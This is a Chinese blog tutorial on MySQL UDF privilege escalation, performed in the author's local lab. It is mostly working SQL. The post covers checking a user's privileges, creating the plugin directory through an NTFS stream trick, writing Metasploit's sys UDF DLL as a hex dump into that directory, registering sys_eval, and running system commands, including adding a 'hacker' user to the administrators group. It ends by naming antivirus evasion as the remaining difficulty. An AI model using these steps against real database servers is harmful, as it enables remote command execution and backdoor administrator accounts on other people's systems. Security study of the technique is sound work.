Mysql(udf提权)


Mysql udf提权

UDF

UDF是MySQL中用户定义的函数。这就像在DLL中编写自己的函数,然后在MySQL中调用它们。

前提

  1. 存在sql注入漏洞
  2. Mysql文件写入读取权限security_file_priv值为空
  3. 数据库用户拥有文件读写权限
  4. 数据库用户允许其他主机连接

步骤

  1. 利用sql注入获取数据库用户名,密码,密码进行解密获得纯文本

在这里插入图片描述

  1. 使用osanda用户连接数据库

在这里插入图片描述

  1. 查看osanda用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) \G;

在这里插入图片描述

发现有所有权限

  1. 写入一个UDF DLL library

    查看系统架构和类型,方便我们等会选择udf文件(有4个)

show variables like '%compile%';

在这里插入图片描述

**从 MySQL 5.0.67 开始,UDF 库必须包含在plugin文件夹中,可以使用 ‘@@plugin_dir’ 全局变量找到该文件夹。可以在 mysql.ini 文件中查看和编辑此变量。但是默认并没有plugin这个目录,可以使用into outfile导出一个一句话木马,再使用连接getshell,创建lib\plugin目录

select @@plugin_dir ;

在这里插入图片描述
如果Mysql版本是5.1.60以下就可以使用

select 'xxx' into outfile 'F:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION'; 
select 'xxx' into outfile 'F:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION'; 

创建文件夹,但是我测试5.7.26版本,这两行sql语句已经不能创建文件夹了,可能是Mysql加了点安全策略。

从 MySQL 5.0.67 开始,该文件必须位于插件目录中。该目录由 plugin_dir 系统变量的值给出。如果 plugin_dir 的值为空,则适用 5.0.67 之前使用的行为:该文件必须位于系统的动态链接器搜索的目录中。

在旧版本中,您可以将 DLL 文件上传到以下位置并创建新的 UDF 函数。

  • @@datadir
  • @@basedir\bin
  • C:\windows
  • C:\windows\system
  • C:\windows\system32

metasploit内置有写好的udf文件,可供我们利用

查看udf.dll的位置

在这里插入图片描述

也可以到github上获取

https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

提权32位的系统就选32,提权64位的系统就选64,windows系统选dll,linux系统选so

将udf.dll文件转换成十六进制保存到本地电脑上,我这里保存到F:/phpstudy_pro/WWW/目录下

select hex(load_file('F:/phpstudy_pro/WWW/lib_mysqludf_sys_64.dll')) into dumpfile 'F:/phpstudy_pro/WWW/udf.txt';

然后将刚刚生成的udf.txt十六进制数导出到目的主机的plugin目录里

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dumpfile "F:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll";

可能会报错,因为目的主机没有plugin目录

在这里插入图片描述

这时给目的主机创建一个lib/plugin目录

在这里插入图片描述

再进行导出就会成功

在这里插入图片描述

目的主机有了udf.dll文件还不够,我们还要在Mysql中创建一下需要使用的函数

虽然作者在udf.dll中定义了很多函数,但是我们只需用到一个函数即可,也就是sys_eval()

在这里插入图片描述

sys_eval的作用

该函数将执行系统命令,并在传递给标准输出的屏幕上显示。(跟sqlmap的–os-shell作用差不多,但是sqlmap执行不了的系统命令,这个sys_eval却可以执行成功,待会看看效果)

sys_eval的创建

create function sys_eval returns string soname 'udf.dll';

在这里插入图片描述

sys_eval的检验

select * from mysql.func where name = 'sys_eval';

在这里插入图片描述

有内容,证明创建成功

sys_eval的删除

drop function sys_eval;

不想用这个自定义函数可以使用这条命令删除

创建成功之后,就可以使用了

select sys_eval('dir');

在这里插入图片描述

接下来输入点sqlmap做不到的命令,别说sqlmap了,就算在本地执行这样的命令也要打开管理员身份执行,它就是添加用户,并且将用户添加到管理员组

先用另一个cmd看看当前有哪些用户

在这里插入图片描述

然后我使用sys_eval函数创建一个用户hacker

select sys_eval('net user hacker /add');

在这里插入图片描述

这时候火狐跳出来了,敏锐的嗅觉闻到一丝不对劲,我连忙按允许安抚它的心情

结果显示出来一段乱码,但是不妨碍我们添加用户

在这里插入图片描述

继续查看当前存在的用户

在这里插入图片描述

多了个hacker用户

接下来将hacker用户提升为管理员

在这里插入图片描述

再用另一个cmd查看管理员组的用户,发现hacker当上了管理员?

在这里插入图片描述

这是不是我们常说的udf提权

难点总结

  1. 怎么绕过火狐等杀毒软件
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值